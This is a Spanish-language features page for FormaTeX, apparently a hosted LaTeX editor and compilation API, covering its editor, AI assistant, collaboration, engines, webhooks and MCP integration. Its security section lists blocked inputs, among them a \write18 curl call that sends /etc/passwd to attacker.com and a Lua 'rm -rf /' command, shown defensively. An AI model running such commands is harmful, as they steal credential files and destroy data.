FormaTeX

\features{FormaTeX}

Todo lo que necesitas. Nada que no necesites.

Editor en el navegador, asistente de IA, colaboración en tiempo real, API REST, cuatro motores LaTeX, integración MCP — cada característica construida para desarrolladores y escritores que necesitan LaTeX sin el trabajo de infraestructura.

\section{Plataforma}

\feature{editor}

Editor LaTeX en el navegador

Nuevo

Un IDE completo. En el navegador. Sin instalar nada.

FormaTeX incluye un entorno de desarrollo LaTeX completo que se ejecuta íntegramente en el navegador. CodeMirror 6 con resaltado de sintaxis LaTeX, una vista previa del PDF en un panel redimensionable, un explorador de archivos del proyecto, un panel de esquema, una lista de símbolos, un minimapa y un registro de compilación completo con la lista de errores analizados. Sube imágenes, archivos .bib y clases personalizadas. El guardado automático se ejecuta en segundo plano: cerrar la pestaña no pierde nada.

  • Panel dividido: código LaTeX a la izquierda, vista previa del PDF en vivo a la derecha — arrastra para redimensionar
  • Explorador de archivos con carpetas (.tex, .bib, .cls, .sty, imágenes)
  • El panel de esquema extrae automáticamente los títulos de sección del código
  • Registro de compilación completo + panel de Problemas con la lista de errores y advertencias analizados
  • Atajos de teclado, recuento de palabras, minimapa — todo configurable
main.tex — FormaTeX Editor
⌘↵ Compile

Explorer

main.tex
refs.bib
fig1.png
\documentclass{article}
\usepackage{amsmath}
\usepackage{graphicx}
 
\begin{document}
\section{Introduction}
This paper presents...

PDF Preview

Compiled in 312ms·12 pages · 284 KBAutosaved

\feature{ai}

Asistente de IA

Nuevo

Corrige, explica, genera y conversa — con todo el contexto del proyecto.

Cuatro modos de IA integrados en el editor. Corregir analiza tu registro de errores y produce LaTeX corregido. Explicar traduce los errores del compilador a un lenguaje claro. Generar escribe LaTeX a partir de una descripción en texto plano. Chat te da un asistente conversacional con acceso a todos los archivos de tu proyecto. La IA ve tu código real, no un fragmento que pegas.

  • Corregir: registro de errores de entrada → LaTeX corregido de salida, con las diferencias resaltadas
  • Explicar: errores crípticos del compilador traducidos a un lenguaje claro
  • Generar: describe lo que necesitas y recibe LaTeX compilable
  • Chat: todo el contexto del proyecto se inyecta automáticamente — pregunta lo que quieras
  • Uso medido por plan: 5 sol./mes (Free) → 5.000 sol./mes (Enterprise)
Fix
Explain
Generate

! Error on line 47

Undefined control sequence \mathrm

AI Fix Suggestion
96%

Add \usepackage{amsmath} to your preamble. \mathrm is defined there.

+ \usepackage{amsmath}

Apply fix
Explain144 requests remaining

\feature{collaboration}

Colaboración en tiempo real

Nuevo

Varias personas. Un solo documento. En directo.

Colaboración en tiempo real mediante WebSocket, disponible desde febrero de 2026. Invita a colaboradores por correo electrónico, asigna el rol de Editor o de Lector y consulta indicadores de presencia con avatares de colores derivados de forma determinista del UUID de cada usuario. Los lectores están restringidos en el servidor: no pueden emitir eventos de edición, sea cual sea el estado del cliente. Abrir el mismo proyecto en dos pestañas cierra automáticamente la conexión anterior.

  • Invitación por correo — rol de Editor o Lector para cada colaborador
  • Presencia en vivo: avatares de colores coherentes entre sesiones
  • La restricción de lectores se aplica en el servidor, no solo en la interfaz
  • Expulsión de pestañas duplicadas: la conexión anterior se cierra automáticamente
  • 3 / 6 / 15 colaboradores por proyecto (Pro / Max / Enterprise)
SK
AM
ME
3 people editing
Live
Sarah K.
Alex M.
Sarah K.· Editor
Alex M.· Viewer
You· Editor

\feature{projects}

Proyectos e historial de archivos

Espacios de trabajo persistentes de varios archivos, con historial completo de ediciones.

Los proyectos son espacios de trabajo con nombre y color que conservan todos tus archivos en el servidor. Crea un proyecto una vez, añade código .tex, referencias .bib, imágenes y clases personalizadas — todo queda disponible entre sesiones y compilaciones. Cada guardado y cada eliminación se registra como una instantánea en el historial de archivos: una línea de tiempo al estilo git log que muestra qué cambió, cuándo y quién hizo cada edición.

  • Proyectos con nombre y código de color — de 5 (Free) a ilimitados (Enterprise)
  • De 5 a 300 archivos por proyecto según el plan
  • Compila cualquier proyecto directamente por la API con project_id
  • Historial de archivos: cada guardado comparado con la instantánea anterior, agrupado por fecha y atribuido al colaborador
  • Exporta el proyecto completo como ZIP en cualquier momento desde el editor
  • Sincronización con GitHub: push/pull bidireccional con repositorios de GitHub (Max y Enterprise)

Projects

IEEE Paper 2026

8 filesmain
2h ago

PhD Thesis — Ch.4

24 filesdraft
1d ago

CV / Resume

3 filesmain
3d ago

3 of 5 projects · Free plan

File History

IEEE Paper 2026

Today · 3 changes

SK

sections/intro.tex

Edit14:23
ME

refs.bib

Edit14:19
AM

fig1.png

Delete13:54

\feature{templates}

Plantillas y sustitución de variables

Envía JSON. Recibe un PDF. Sin necesidad de saber LaTeX.

Guarda un documento LaTeX una vez como plantilla, marca los valores dinámicos con marcadores <<variable>> y compílalo a partir de JSON plano. Quienes la usan nunca tocan LaTeX: envían (POST) un objeto JSON con los valores de las variables y reciben un PDF. Las plantillas admiten recursos subidos (logotipos, archivos .bib, .cls), se pueden duplicar desde la biblioteca de plantillas y se compilan con cualquier clave API.

  • Esquema de variables <<placeholder>> con tipos cadena, número y fecha, indicadores de obligatorio y valores por defecto
  • Envía las variables como JSON (POST) → recibe directamente un PDF compilado
  • Sube los recursos de la plantilla: logotipos, archivos de bibliografía, clases
  • Duplica una plantilla de la biblioteca en tu cuenta como punto de partida
  • 0 plantillas privadas (Free) → 3 (Pro) → 25 (Max) → ilimitadas (Enterprise)

Variables

client_name*
Acme Corp
amount*
$12,500.00
due_date
March 15, 2026
invoice_no*
INV-2026-0042
POST /compile
PDF
INVOICE
$12,500.00
invoice.pdf

\feature{webhooks}

Webhooks

Tu servidor se entera en cuanto termina una tarea.

Registra una URL y suscríbete a eventos de compilación, de cuota y de plan. FormaTeX envía un POST firmado a tu endpoint en cada evento. Cada envío está firmado con HMAC-SHA256 usando el secreto de tu webhook: verifica la cabecera X-FormaTeX-Signature antes de procesarlo. Los envíos fallidos se reintentan automáticamente hasta 5 veces con espera exponencial. El panel muestra la tasa de éxito por webhook, el historial completo de envíos con los números de intento y un botón de prueba.

  • 5 tipos de evento: compilation.success, compilation.failed, quota.warning, quota.exceeded, plan.changed
  • Firma HMAC-SHA256 en cada envío — verifícala con tu secreto
  • Reintento automático con espera exponencial (hasta 5 intentos)
  • Historial de envíos por webhook con estado HTTP y número de intento
  • Disponible en los planes Max y Enterprise
https://api.yourapp.com/webhooks/latex
HMAC verified
Success rate75%
3 of 4 succeeded·
Retry on failure
Recent deliveries4 events
compilation.success87ms
200
compilation.failed91ms
500
quota.warning103ms
200
plan.changed76ms
200
X-FormaTeX-Signature: sha256=a3f9b2e17c…

\feature{github}

Integración con GitHub

Nuevo

Envía tu proyecto a GitHub. Trae cambios de cualquier repositorio.

Vincula cualquier proyecto de FormaTeX a un repositorio de GitHub y mantenlos sincronizados. Envía tu código LaTeX, tus archivos .bib y tus recursos a una rama con un clic — o activa un push automático tras cada compilación correcta. Trae los cambios desde GitHub para restaurar una versión anterior o incorporar el fork de un nuevo colaborador. Funciona con repositorios públicos y privados. Disponible en los planes Max y Enterprise.

  • Conecta cualquier proyecto a un repositorio de GitHub público o privado
  • Push a demanda o automático tras cada compilación correcta
  • Pull desde cualquier rama — restaurar, duplicar o partir de repositorios existentes
  • Árbol de archivos completo sincronizado: .tex, .bib, .cls, .sty, imágenes y recursos
  • Disponible en los planes Max y Enterprise
acme-org / thesis-2026
main
connected
Changed files4 files
Mmain.tex
Msections/intro.tex
Arefs.bib
Afig/diagram.pdf
Commit message
chore: update figures and bibliography
Push
a3f9b2e
Auto-push after every successful compile
Pull
from
feature/new-chapter

\feature{overleaf-import}

Importación de proyectos de Overleaf

Nuevo

Trae tus proyectos existentes con un clic.

¿Ya usas Overleaf? Exporta tu proyecto como zip (Menu → Download → Source) y suéltalo en FormaTeX. Todo tu árbol de archivos — código .tex, referencias .bib, imágenes, clases personalizadas, subdirectorios — se extrae, se analiza y se guarda automáticamente como un proyecto nuevo. El archivo .tex raíz se detecta y se abre de inmediato. Sin copiar archivos a mano, sin reformatear, sin fricción.

  • Subida de zip arrastrando y soltando desde el panel de Proyectos
  • Estructura de carpetas completa conservada — chapters/, figures/ y todos los subdirectorios
  • Detecta automáticamente main.tex o cualquier archivo raíz que contenga \documentclass
  • Imágenes, .bib, .cls, .sty, fuentes — todos los tipos de archivo extraídos de una vez
  • El proyecto toma automáticamente el nombre de tu archivo zip
overleaf-import.sh
# 1. Export from Overleaf
#    Menu → Download → Source  →  my-thesis.zip

# 2. Import via the Projects dashboard
#    Click "Import from Overleaf" → drop the zip → done

# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
  -H "Authorization: Bearer <jwt>" \
  -F "[email protected]"

# Response
{
  "project": {
    "id":   "proj_7f2a...",
    "name": "my-thesis",
    "color": "amber"
  },
  "main_file": "main.tex"
}

\section{API y compilación}

\feature{rest-api}

API REST sin configuración

Envía LaTeX. Recibe un PDF. Un solo endpoint.

Toda la superficie de compilación de FormaTeX es un único endpoint POST. No hace falta SDK ni ceremonias de autenticación. Envía JSON con tu código LaTeX y el motor que prefieras, y recibe un PDF binario en el cuerpo de la respuesta. Cada respuesta incluye en las cabeceras el tiempo de compilación, el motor utilizado y tu cuota restante. Funciona igual desde curl, JavaScript, Python, Go o cualquier cliente HTTP.

  • No se necesita SDK — sirve cualquier cliente HTTP en cualquier lenguaje
  • PDF binario devuelto directamente en el cuerpo de la respuesta
  • Registro del compilador incluido en las respuestas de error 422 para depurar
  • X-Compile-Duration-Ms, X-Engine, X-Compilations-Used en cada respuesta
compile.sh
curl -X POST https://api.formatex.io/api/v1/compile \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{
    "latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
    "engine": "pdflatex"
  }' \
  --output document.pdf

# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500

\feature{engines}

Cuatro motores LaTeX

La herramienta adecuada para cada tipo de documento.

pdfLaTeX para la máxima velocidad y compatibilidad de paquetes. XeLaTeX para fuentes del sistema (TTF/OTF) y Unicode. LuaLaTeX para scripts Lua y generación programática de contenido. latexmk para la compilación automática en varias pasadas — bibliografía, índice, referencias cruzadas, todo resuelto en una sola petición. Elige por petición con un único parámetro JSON. Todos los motores usan la misma instalación de TeX Live.

  • Cambia de motor en cada petición — sin cambios de cuenta ni reconfiguración
  • XeLaTeX y LuaLaTeX: compatibilidad nativa con árabe, hebreo y escritura de derecha a izquierda mediante bidi/polyglossia
  • latexmk detecta automáticamente las pasadas necesarias para resolver todas las referencias
  • Todos los motores usan la misma instalación de TeX Live — resultados coherentes entre peticiones
  • pdfLaTeX es el predeterminado — el más rápido para la mayoría de las cargas
Guías detalladas de los motores
pdflatex
Todos los planes

Estándar. El más rápido. La mejor compatibilidad.

Velocidad~80ms

Salida PDF directa · Fuentes Type 1 · La mayor compatibilidad de paquetes

xelatex
Pro+

Fuentes del sistema. Unicode nativo.

Velocidad~190ms

TTF / OTF · Texto de derecha a izquierda · Funciones OpenType

lualatex
Pro+

Scripts Lua completos dentro de LaTeX.

Velocidad~320ms

Contenido programático · El más potente · El más lento

latexmk
Pro+

Multipasada automática. Lo resuelve todo.

Velocidadmultipasada

Bibliografía · Índice · Referencias cruzadas · Reintento automático

\feature{async}

Compilación async, stream, inteligente y ZIP

Bloqueante, en segundo plano, en streaming, inteligente o de varios archivos. Elige tu modo.

Cinco modos de compilación para cada caso. Sync devuelve el PDF de inmediato en la respuesta — sin configuración. Async pone la tarea en cola y devuelve un identificador de tarea al instante — sin mantener ninguna conexión abierta, ideal para pipelines por lotes. Stream envía el registro línea a línea por SSE mientras el motor se ejecuta — perfecto para interfaces con progreso en vivo. La compilación inteligente lee el preámbulo de tu documento, elige el motor adecuado automáticamente y reintenta ante fallos transitorios. La compilación ZIP acepta el archivo de un proyecto completo de varios archivos — tesis, libro, kit de CV — y devuelve el PDF compilado en una sola petición.

  • Sync: PDF en el cuerpo de la respuesta — una sola ida y vuelta, sin sondeo
  • Async: identificador de tarea devuelto al instante, consulta GET /jobs/{id} para el resultado
  • Stream: registro SSE en vivo — construye un terminal en tiempo real en tu interfaz
  • Inteligente: elige el motor a partir del preámbulo y reintenta ante fallos transitorios
  • ZIP: envía un .zip con main.tex + recursos y recibe el PDF — sin necesidad de proyecto

sync

Bloqueante · PDF en la respuesta

POST /compile
compiling…88ms
← PDF (284 KB)

PDF devuelto en el cuerpo de la respuesta — un solo viaje de ida y vuelta

async

No bloqueante · Consulta el resultado

POST /compile/async
← { jobId: "b3f2a…"}
queued
processing
completed
GET /jobs/:id/pdf ✓

Conexión liberada al instante — consulta cuando esté listo

stream

SSE · Registro en directo

POST /compile/stream
SSE · text/event-stream

[1/1] pdflatex -no-shell-escape main.tex

This is pdfTeX, Version 3.141592653

Output written on main.pdf (12 pages)

Compiled in 312ms ✓

Crea una terminal en tiempo real en tu interfaz

smart

Detección automática · Reintento si falla

POST /compile/smart

Análisis del preámbulo

\documentclass{article}→pdflatex
\usepackage[fontspec]{...}→xelatex
\directlua{...}→lualatex
← seleccionado automáticamente · reintento si falla

Sin configurar el motor — solo envía tu LaTeX

\feature{security}

Entorno aislado de producción

LaTeX es potente y peligroso. Lo contenemos.

Cada compilación se ejecuta en un contexto de ejecución aislado con -no-shell-escape impuesto, E/S de archivos restringida (openout_any=p, openin_any=p) y sin acceso saliente a la red. La sanitización de la entrada bloquea vectores de ataque conocidos antes de que arranque el motor. El código LaTeX nunca se escribe en los registros. Los archivos de compilación se eliminan del disco inmediatamente después de procesarse. Los archivos de proyecto que decides guardar se almacenan de forma segura en tu cuenta.

  • -no-shell-escape en todos los motores — los comandos del sistema son imposibles
  • Comandos peligrosos bloqueados: \write18, \directlua, entradas por tubería
  • Detección de bytes nulos y límites de tamaño por plan aplicados en la entrada
  • Archivos de compilación eliminados inmediatamente después del procesamiento
Modelo de seguridad completo
security-model
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}

// Valid input compiles normally:
POST /api/v1/compile
{
  "latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
  "engine": "pdflatex"
}

// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]

\feature{equation-render}

API de renderizado de ecuaciones

Nuevo

Cualquier expresión matemática. PNG o SVG. Sin documento completo.

Envía una expresión matemática LaTeX en bruto y recibe una imagen PNG o SVG nítida — sin preámbulo de documento ni código innecesario. La API la envuelve automáticamente en un documento independiente, compila con pdflatex y convierte al formato que prefieras. amsmath, amssymb y amsfonts vienen precargados. Es independiente de la cuota de compilación: renderizar ecuaciones nunca cuenta para tu límite mensual. Ideal para aplicaciones de mensajería, plataformas educativas, herramientas de documentación y cualquier lugar donde haya que mostrar matemáticas.

  • Envía solo el contenido matemático — sin \documentclass ni \begin{document}
  • Modo en línea ($...$) o modo destacado (\[...\]) con un solo campo booleano
  • PNG a cualquier DPI entre 72 y 600 — o SVG para una salida independiente de la resolución
  • Respuesta de imagen binaria por defecto; JSON + base64 con Accept: application/json
  • No consume tu cuota mensual de compilación
render-equation.sh
# PNG — binary response (save directly to file)
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{"latex": "\\int_0^\\infty e^{-x^2} dx = \\frac{\\sqrt{\\pi}}{2}"}' \
  --output equation.png

# SVG — display mode
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{"latex": "\\nabla \\cdot \\mathbf{E} = \\frac{\\rho}{\\varepsilon_0}", "format": "svg", "display": true}' \
  --output equation.svg

# JSON response with base64 + dimensions
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"latex": "E = mc^2", "dpi": 150}'
# → { "image": "<base64>", "format": "png", "width": 120, "height": 22 }

\section{Integraciones}

\feature{mcp}

Integración MCP

Tu agente de IA compila LaTeX de forma nativa.

FormaTeX incluye un servidor MCP de primera clase. Añádelo a Claude, Claude Code, Cursor, VS Code, Codex o a cualquier cliente compatible con MCP y tu IA tendrá acceso directo a toda la cadena de compilación LaTeX. Compila documentos, rellena plantillas con variables, valida la sintaxis o lista los motores disponibles — todo desde una conversación con la IA. Sin cambiar de terminal, sin copiar archivos, sin cortar el contexto.

  • Compila con correcciones automáticas o con un motor explícito, lanza tareas async, comprueba la sintaxis, lista motores y uso
  • Crea, actualiza y compila tus plantillas guardadas directamente desde un chat con IA (Pro y superiores)
  • Funciona con Claude, Claude Code, Cursor, VS Code, Codex y cualquier cliente MCP
  • Servidor HTTP Streamable alojado en mcp.formatex.io, o binario stdio local
Guía de configuración de MCP
mcp-config.json
// claude_desktop_config.json  (local stdio binary)
{
  "mcpServers": {
    "formatex": {
      "command": "formatex-mcp",
      "env": {
        "FORMATEX_API_KEY": "fex_a8k2mP9..."
      }
    }
  }
}

// Claude can now:
// "Compile this document with XeLaTeX and give me the PDF link"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"

\listfeatures{all}

Todas las características de un vistazo

  • Editor LaTeX en el navegador
  • IA: corregir / explicar / chat
  • Colaboración en tiempo real
  • Proyectos persistentes
  • API de variables de plantilla
  • Webhooks firmados
  • Historial y diferencias por archivo
  • Compilación en segundos
  • 4 motores LaTeX
  • Async / Stream / Inteligente
  • Ejecución aislada
  • Gestión de claves API
  • Analítica de uso
  • Herramientas MCP / agentes de IA
  • Archivos de compilación efímeros
  • API de renderizado de ecuaciones
  • Exportación a DOCX asistida por el compilador
  • Sincronización con GitHub
  • Importación desde Overleaf
  • Compatibilidad con árabe y escritura de derecha a izquierda

\begin{document}

Una plataforma. Gratis para comenzar.

Editor, API, IA y colaboración en todos los planes. Sin tarjeta de crédito. Empieza en 30 segundos.